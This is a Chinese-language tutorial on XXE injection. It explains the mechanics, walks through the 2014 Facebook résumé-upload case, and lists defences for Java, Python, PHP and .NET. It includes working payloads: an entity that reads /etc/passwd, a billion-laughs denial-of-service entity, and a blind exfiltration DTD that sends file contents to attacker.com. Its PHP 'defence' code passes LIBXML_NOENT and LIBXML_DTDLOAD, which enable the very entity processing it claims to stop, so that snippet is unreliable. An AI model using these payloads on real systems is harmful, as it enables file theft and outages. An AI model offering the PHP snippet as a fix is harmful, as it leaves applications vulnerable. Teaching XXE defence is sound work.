XML 外部实体 (XXE) 注入
1. 定义
XML 外部实体 (XXE) 注入 是一种针对解析 XML 输入的应用程序的漏洞。它利用 XML 的一个称为「外部实体」的特性来:
- 读取服务器上的任意文件
- 执行服务器端请求伪造 (SSRF)
- 执行拒绝服务攻击
- 在某些情况下实现远程代码执行
当 XML 解析器被配置为处理外部实体声明(可以引用本地文件或远程 URL)时,就会出现 XXE 漏洞。
2. 技术原理
XML 允许定义实体作为内容的快捷方式。外部实体可以引用 XML 文档外部的内容。
基本 XML 实体语法:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY myEntity "Hello World">
]>
<root>&myEntity;</root>外部实体 (XXE) 载荷:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>解析时,&xxe; 会被替换为 /etc/passwd 的内容。
常见的 XXE 攻击类型:
- 文件泄露: 读取敏感文件(
/etc/passwd、配置文件、源代码)。 - SSRF: 向内部服务发起请求(
http://169.254.169.254/)。 - 盲 XXE: 当输出不返回时,通过带外通道泄露数据。
- 十亿笑声 (DoS): 指数级扩展的实体使解析器崩溃。
十亿笑声攻击:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>这个小载荷在内存中会扩展到数 GB 的数据。
3. 攻击流程
sequenceDiagram
participant Attacker as 攻击者
participant WebApp as Web 应用程序
participant XMLParser as XML 解析器
participant FileSystem as 文件系统
Attacker->>WebApp: POST /api/upload<br/>Content-Type: application/xml
Note over Attacker: 包含外部实体定义的<br/>XML 载荷
WebApp->>XMLParser: 解析 XML 输入
XMLParser->>XMLParser: 处理 DOCTYPE 声明<br/>发现外部实体
XMLParser->>FileSystem: 读取 file:///etc/passwd
FileSystem-->>XMLParser: 返回文件内容
XMLParser-->>WebApp: 解析后的 XML 包含文件内容
WebApp-->>Attacker: 响应包含 /etc/passwd4. 真实案例:Facebook XXE (2014)
目标: Facebook 招聘门户。 漏洞类别: 通过 Word 文档上传的盲 XXE。
漏洞背景: Facebook 的招聘页面允许用户上传简历。该应用程序接受 .docx 文件,这实际上是包含 XML 文件的 ZIP 压缩包。处理这些文件的 XML 解析器启用了外部实体处理。
攻击过程: 安全研究员 Mohamed Ramadan 发现:
.docx文件包含 XML 文件(例如word/document.xml)。- 他制作了一个在 XML 中包含 XXE 载荷的恶意
.docx。 - 载荷引用了他控制的外部 URL。
- 当 Facebook 解析文档时,它向他的服务器发起了请求。
盲 XXE 数据泄露: 由于文件内容没有直接返回,他使用参数实体来泄露数据:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>外部 DTD(evil.dtd)包含:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;影响: 这允许读取 Facebook 服务器上的任意文件。Mohamed 获得了 33,500 美元的赏金,Facebook 通过禁用外部实体处理修复了该漏洞。
5. 深度防御策略
A. 禁用外部实体处理
最有效的防御是完全禁用外部实体。
Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python (lxml):
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)PHP:
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);B. 使用更简单的数据格式
如果可能,避免对用户输入使用 XML。
- JSON: 没有实体处理功能。
- YAML: 更简单的结构(但有其自身的安全问题)。
- Protocol Buffers / MessagePack: 没有这些风险的二进制格式。
C. 输入验证
如果必须使用 XML,请验证和清理输入。
- Schema 验证: 使用 XSD 强制执行结构。
- 剥离 DOCTYPE: 移除或拒绝包含 DOCTYPE 声明的 XML。
- Content-Type 检查: 确保上传的文件与预期类型匹配。
D. Web 应用防火墙 (WAF)
配置 WAF 规则以检测 XXE 模式。
- 阻止包含
<!ENTITY、<!DOCTYPE、SYSTEM、PUBLIC的请求。 - 注意攻击者可能使用编码来绕过简单的模式匹配。
E. 最小权限
限制 XML 解析器的访问权限。
- 文件系统: 在具有最小文件访问权限的沙箱环境中运行解析器。
- 网络: 阻止 XML 处理服务的出站连接。
- 用户权限: 解析器进程不应以 root 身份运行。
